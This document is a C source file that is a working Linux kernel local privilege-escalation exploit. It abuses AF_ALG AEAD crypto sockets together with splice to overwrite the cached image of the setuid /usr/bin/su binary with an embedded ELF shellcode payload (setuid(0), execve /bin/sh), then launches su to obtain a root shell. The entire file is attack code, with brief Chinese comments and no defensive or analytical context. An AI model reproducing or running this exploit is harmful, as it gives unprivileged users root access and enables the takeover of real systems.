#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef ALG_SET_KEY #define ALG_SET_KEY 1 #endif #ifndef ALG_SET_AEAD_AUTHSIZE #define ALG_SET_AEAD_AUTHSIZE 5 #endif #ifndef ALG_SET_OP #define ALG_SET_OP 3 #endif #ifndef ALG_SET_IV #define ALG_SET_IV 2 #endif #ifndef ALG_SET_AEAD_ASSOCLEN #define ALG_SET_AEAD_ASSOCLEN 4 #endif #ifndef ALG_OP_DECRYPT #define ALG_OP_DECRYPT 0 #endif /* * 160 字节独立 x86_64 ELF 头部与 Shellcode 载荷: * setuid(0) -> execve("/bin/sh", NULL, NULL) */ static const unsigned char e[160] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x0f, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05, 0x31, 0xff, 0x6a, 0x3c, 0x58, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x00, 0x00 }; int main(void) { int fd = open("/usr/bin/su", O_RDONLY); if (fd < 0) { perror("open /usr/bin/su"); return 1; } for (int t = 0; t < 160; t += 4) { int sock = socket(AF_ALG, SOCK_SEQPACKET, 0); if (sock < 0) { perror("socket"); return 1; } struct sockaddr_alg sa; memset(&sa, 0, sizeof(sa)); sa.salg_family = AF_ALG; memcpy(sa.salg_type, "aead", 4); memcpy(sa.salg_name, "authencesn(hmac(sha256),cbc(aes))", 33); if (bind(sock, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; } unsigned char key[40]; key[0]=0x08;key[1]=0x00;key[2]=0x01;key[3]=0x00; key[4]=0x00;key[5]=0x00;key[6]=0x00;key[7]=0x10; memset(key+8, 0, 32); if (setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) { perror("setkey"); return 1; } int auth = 4; if (setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, &auth, sizeof(auth)) < 0) { perror("authsize"); return 1; } int opfd = accept(sock, NULL, NULL); if (opfd < 0) { perror("accept"); return 1; } unsigned char cdata[8]; memcpy(cdata, "AAAA", 4); memcpy(cdata+4, e+t, 4); char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20) + CMSG_SPACE(4)]; memset(cbuf, 0, sizeof(cbuf)); struct msghdr msg; memset(&msg, 0, sizeof(msg)); struct iovec io; io.iov_base = cdata; io.iov_len = 8; msg.msg_iov = &io; msg.msg_iovlen = 1; msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); struct cmsghdr *cm = CMSG_FIRSTHDR(&msg); cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_OP; cm->cmsg_len = CMSG_LEN(4); *(unsigned int*)CMSG_DATA(cm) = ALG_OP_DECRYPT; cm = CMSG_NXTHDR(&msg, cm); cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_IV; cm->cmsg_len = CMSG_LEN(20); unsigned char iv[20]; iv[0] = 16; memset(iv+1, 0, 19); memcpy(CMSG_DATA(cm), iv, 20); cm = CMSG_NXTHDR(&msg, cm); cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_AEAD_ASSOCLEN; cm->cmsg_len = CMSG_LEN(4); *(unsigned int*)CMSG_DATA(cm) = 8; /* 裁剪 msg_controllen 精确匹配 3 个 cmsg */ struct cmsghdr *nx = CMSG_NXTHDR(&msg, cm); if (nx != NULL) msg.msg_controllen = (size_t)((char*)nx - (char*)cbuf); /* 关键:使用 MSG_MORE 保留 AEAD 接收状态以接收后续 splice 数据 */ if (sendmsg(opfd, &msg, MSG_MORE) < 0) { fprintf(stderr, "[t=%d] sendmsg: %s\n", t, strerror(errno)); close(opfd); close(sock); return 1; } int o = t + 4; int pipefd[2]; if (pipe(pipefd) < 0) { perror("pipe"); return 1; } loff_t off = 0; long s1 = splice(fd, &off, pipefd[1], NULL, o, 0); if (s1 < 0) { fprintf(stderr, "[t=%d] splice1: %s\n", t, strerror(errno)); close(pipefd[0]); close(pipefd[1]); close(opfd); close(sock); return 1; } long s2 = splice(pipefd[0], NULL, opfd, NULL, o, 0); if (s2 < 0) { fprintf(stderr, "[t=%d] splice2: %s\n", t, strerror(errno)); close(pipefd[0]); close(pipefd[1]); close(opfd); close(sock); return 1; } close(pipefd[0]); close(pipefd[1]); char rb[8+t > 256 ? 8+t : 256]; long r = recv(opfd, rb, 8+t, 0); (void)r; close(opfd); close(sock); } printf("[+] Overwrite complete. Spawning root shell via /usr/bin/su ...\n"); system("/usr/bin/su"); return 0; }